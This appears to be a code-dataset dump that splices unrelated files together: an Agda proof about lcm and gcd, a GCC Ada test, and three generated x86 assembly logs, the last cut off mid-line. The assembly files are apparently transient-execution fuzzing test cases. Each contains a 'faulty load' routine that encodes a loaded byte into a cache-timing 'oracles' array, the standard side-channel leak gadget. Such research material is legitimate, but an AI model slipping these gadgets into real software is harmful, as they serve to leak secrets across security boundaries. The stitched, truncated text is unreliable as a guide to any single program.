record LCM (i j lcm : ℕ) : Set where
field
-- The lcm is a common multiple.
commonMultiple : i ∣ lcm × j ∣ lcm
-- The lcm divides all common multiples, i.e. the lcm is the least
-- common multiple according to the partial order _∣_.
least : ∀ {m} → i ∣ m × j ∣ m → lcm ∣ m
open LCM public
-- The lcm is unique.
unique : ∀ {d₁ d₂ m n} → LCM m n d₁ → LCM m n d₂ → d₁ ≡ d₂
unique d₁ d₂ = P.antisym (LCM.least d₁ (LCM.commonMultiple d₂))
(LCM.least d₂ (LCM.commonMultiple d₁))
open LCM public using (LCM) hiding (module LCM)
------------------------------------------------------------------------
-- Calculating the lcm
private
lem₁ = solve 3 (λ a b c → a :* b :* c := b :* (a :* c)) refl
lem₂ = solve 3 (λ a b c → a :* b :* c := a :* (b :* c)) refl
-- If these lemmas are inlined, then type checking takes a lot
-- longer... (In the development version of Agda from 2009-05-21.)
mult₁ : ∀ q₁ q₂ d → q₁ * d ∣ q₁ * q₂ * d
mult₁ q₁ q₂ d = divides q₂ (lem₁ q₁ q₂ d)
mult₂ : ∀ q₁ q₂ d → q₂ * d ∣ q₁ * q₂ * d
mult₂ q₁ q₂ d = divides q₁ (lem₂ q₁ q₂ d)
-- The lcm can be calculated from the gcd.
lcm : (i j : ℕ) → ∃ λ d → LCM i j d
lcm i j with gcd′ i j
lcm .(q₁ * d) .(q₂ * d) | (d , gcd-* q₁ q₂ q₁-q₂-coprime) =
( q₁ * q₂ * d
, record { commonMultiple = (mult₁ q₁ q₂ d , mult₂ q₁ q₂ d)
; least = least d
}
)
where
least : ∀ d {m} → q₁ * d ∣ m × q₂ * d ∣ m → q₁ * q₂ * d ∣ m
least zero (divides q₃ refl , _) = begin
q₁ * q₂ * 0 ∣⟨ (q₁ * q₂ * 0) ∣0 ⟩
0 ≡⟨ solve 2 (λ a b → con 0 := a :* (b :* con 0))
refl q₃ q₁ ⟩
q₃ * (q₁ * 0) ∎
where open ∣-Reasoning
least (suc d) {m} (divides q₃ eq₃ , divides q₄ eq₄) =
q₁q₂d′∣m q₃ eq₃ q₂∣q₃
where
open PropEq.≡-Reasoning
d′ = suc d
q₂∣q₃ : q₂ ∣ q₃
q₂∣q₃ = coprime-divisor (Coprime.sym q₁-q₂-coprime)
(divides q₄ $ *-cancelʳ-≡ _ _ (begin
q₁ * q₃ * d′ ≡⟨ lem₁ q₁ q₃ d′ ⟩
q₃ * (q₁ * d′) ≡⟨ PropEq.sym eq₃ ⟩
m ≡⟨ eq₄ ⟩
q₄ * (q₂ * d′) ≡⟨ PropEq.sym (lem₂ q₄ q₂ d′) ⟩
q₄ * q₂ * d′ ∎))
q₁q₂d′∣m : ∀ q₃ → m ≡ q₃ * (q₁ * d′) → q₂ ∣ q₃ → q₁ * q₂ * d′ ∣ m
q₁q₂d′∣m .(q₅ * q₂) eq₃′ (divides q₅ refl) =
divides q₅ (begin
m ≡⟨ eq₃′ ⟩
q₅ * q₂ * (q₁ * d′) ≡⟨ solve 4 (λ q₁ q₂ q₅ d′ → q₅ :* q₂ :* (q₁ :* d′)
:= q₅ :* (q₁ :* q₂ :* d′))
refl q₁ q₂ q₅ d′ ⟩
q₅ * (q₁ * q₂ * d′) ∎)
------------------------------------------------------------------------
-- Properties
-- The product of the gcd and the lcm is the product of the two
-- numbers.
gcd*lcm : ∀ {i j d m} → GCD i j d → LCM i j m → i * j ≡ d * m
gcd*lcm {i} {j} {d} {m} g l with LCM.unique l (proj₂ (lcm i j))
gcd*lcm {i} {j} {d} .{proj₁ (lcm i j)} g l | refl with gcd′ i j
gcd*lcm .{q₁ * d′} .{q₂ * d′} {d} g l | refl | (d′ , gcd-* q₁ q₂ q₁-q₂-coprime)
with GCD.unique g
(gcd′-gcd (gcd-* q₁ q₂ q₁-q₂-coprime))
gcd*lcm .{q₁ * d} .{q₂ * d} {d} g l | refl | (.d , gcd-* q₁ q₂ q₁-q₂-coprime) | refl =
solve 3 (λ q₁ q₂ d → q₁ :* d :* (q₂ :* d)
:= d :* (q₁ :* q₂ :* d))
refl q₁ q₂ d
|
archive/agda-1/Everything.agda | m0davis/oscar | 0 | 15321 | <filename>archive/agda-1/Everything.agda
module OscarEverything where
open import OscarPrelude
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/opt22.adb | best08618/asylo | 7 | 6351 | -- { dg-do run }
-- { dg-options "-O" }
with Opt22_Pkg; use Opt22_Pkg;
procedure Opt22 is
procedure Go (S : String) is
begin
begin
Fail;
exception
when Constraint_Error => Put ("the " & S);
end;
Put ("the " & S);
end;
begin
Go ("message");
end;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1143.asm | ljhsiun2/medusa | 9 | 88846 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x10160, %rdi
nop
nop
nop
nop
and $48386, %r8
vmovups (%rdi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r9
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0x2e11, %rsi
lea addresses_A_ht+0x6ba5, %rdi
nop
nop
nop
nop
and $20431, %rbp
mov $8, %rcx
rep movsb
nop
nop
sub %r8, %r8
lea addresses_WC_ht+0x1d411, %rsi
clflush (%rsi)
sub %r14, %r14
mov (%rsi), %r9w
nop
nop
nop
nop
nop
sub $34864, %rbp
lea addresses_normal_ht+0x1de11, %rbp
nop
nop
nop
sub $11803, %r8
mov (%rbp), %rcx
nop
nop
nop
nop
cmp $8389, %rsi
lea addresses_D_ht+0xa511, %rbp
nop
xor $25722, %rcx
vmovups (%rbp), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r8
nop
nop
nop
nop
cmp $11634, %rbp
lea addresses_A_ht+0x9583, %r8
nop
nop
add $11043, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
movups %xmm7, (%r8)
nop
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0x18a41, %rdi
nop
nop
nop
nop
nop
sub $8474, %rsi
movw $0x6162, (%rdi)
inc %r14
lea addresses_WC_ht+0x3331, %rdi
nop
nop
inc %rcx
movups (%rdi), %xmm2
vpextrq $1, %xmm2, %rsi
nop
cmp $3764, %r14
lea addresses_WC_ht+0x1b191, %r14
nop
nop
nop
nop
add %rbp, %rbp
mov (%r14), %rcx
nop
nop
nop
dec %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rbp
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x9b11, %rbx
nop
add $15800, %rbp
mov $0x5152535455565758, %rsi
movq %rsi, (%rbx)
nop
nop
nop
sub %r10, %r10
// Faulty Load
lea addresses_UC+0x1be11, %rbp
nop
nop
nop
nop
nop
and %rdi, %rdi
movups (%rbp), %xmm4
vpextrq $0, %xmm4, %rsi
lea oracles, %rdx
and $0xff, %rsi
shlq $12, %rsi
mov (%rdx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0.log_21829_124.asm | ljhsiun2/medusa | 9 | 174461 | <filename>Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0.log_21829_124.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x10fab, %rbp
nop
nop
nop
nop
add %r14, %r14
mov (%rbp), %r12w
nop
and $29044, %r10
lea addresses_WT_ht+0x1e30, %rsi
lea addresses_A_ht+0xe330, %rdi
nop
nop
xor $17428, %r11
mov $79, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x17638, %r14
and %rbp, %rbp
movw $0x6162, (%r14)
nop
nop
and $65532, %rdi
lea addresses_WC_ht+0x1d290, %rsi
lea addresses_WT_ht+0x18a90, %rdi
cmp $47872, %rbp
mov $75, %rcx
rep movsb
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x4df0, %r14
cmp $50360, %r12
mov (%r14), %bp
nop
add %rbp, %rbp
lea addresses_UC_ht+0x17ab0, %rcx
nop
nop
nop
cmp $10733, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rcx)
nop
nop
nop
sub %r10, %r10
lea addresses_A_ht+0xf930, %rcx
nop
nop
nop
and %r10, %r10
movl $0x61626364, (%rcx)
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x119b0, %rbp
clflush (%rbp)
nop
nop
xor %r14, %r14
mov (%rbp), %rsi
inc %r10
lea addresses_A_ht+0x1de81, %r12
add $48187, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r12)
nop
nop
nop
nop
nop
xor $8069, %rbp
lea addresses_WT_ht+0x4aa0, %rsi
lea addresses_A_ht+0x19c30, %rdi
nop
nop
nop
nop
sub %r14, %r14
mov $92, %rcx
rep movsb
nop
nop
nop
nop
cmp $54202, %rcx
lea addresses_D_ht+0x9370, %r14
nop
nop
xor $40748, %r11
movb $0x61, (%r14)
nop
nop
nop
nop
nop
sub $41957, %r14
lea addresses_A_ht+0xf9f1, %r11
nop
nop
nop
nop
nop
sub $20112, %rdi
movw $0x6162, (%r11)
xor $39468, %rsi
lea addresses_WC_ht+0x16e70, %rcx
nop
xor $33830, %rbp
movb (%rcx), %r14b
nop
nop
nop
nop
nop
xor $32425, %rdi
lea addresses_A_ht+0x5a30, %rsi
lea addresses_D_ht+0x12630, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and $43934, %r11
mov $118, %rcx
rep movsw
nop
dec %rcx
lea addresses_WC_ht+0x196b0, %rcx
nop
nop
nop
xor $24831, %r12
movb $0x61, (%rcx)
nop
cmp $41925, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rsi
// Store
lea addresses_UC+0xf230, %rbx
nop
nop
nop
inc %r12
movl $0x51525354, (%rbx)
nop
cmp %rsi, %rsi
// Load
lea addresses_normal+0x1f9d0, %r11
cmp $59539, %r14
mov (%r11), %r12w
// Exception!!!
nop
mov (0), %r15
nop
nop
dec %r14
// Faulty Load
lea addresses_WC+0x4230, %rbx
clflush (%rbx)
nop
nop
xor %rcx, %rcx
mov (%rbx), %r12
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 1}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_803.asm | ljhsiun2/medusa | 9 | 240090 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rdi
push %rsi
lea addresses_A_ht+0x1d350, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $63502, %r13
movb (%rdi), %r11b
nop
add $60054, %rbp
lea addresses_D_ht+0x18322, %rdi
nop
nop
add $1859, %r12
mov (%rdi), %rsi
nop
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_UC_ht+0x5950, %rbp
cmp $29149, %r10
mov $0x6162636465666768, %r11
movq %r11, %xmm2
and $0xffffffffffffffc0, %rbp
vmovntdq %ymm2, (%rbp)
cmp $40805, %rbp
lea addresses_UC_ht+0x5350, %r11
nop
nop
nop
sub $8691, %r13
mov (%r11), %r10d
cmp $9070, %r11
pop %rsi
pop %rdi
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdx
// Store
lea addresses_normal+0x109df, %r15
nop
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm2
movups %xmm2, (%r15)
add $28937, %r12
// Store
mov $0xcef, %rdx
nop
nop
nop
nop
nop
dec %r13
mov $0x5152535455565758, %r14
movq %r14, %xmm5
vmovups %ymm5, (%rdx)
nop
nop
sub $19861, %r13
// Store
mov $0x1cf, %r13
cmp $58106, %r12
movl $0x51525354, (%r13)
dec %rax
// Store
lea addresses_D+0x5b50, %r13
nop
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r13)
nop
dec %r13
// Faulty Load
lea addresses_A+0x1fb50, %rcx
nop
nop
nop
nop
nop
xor %r13, %r13
movb (%rcx), %al
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 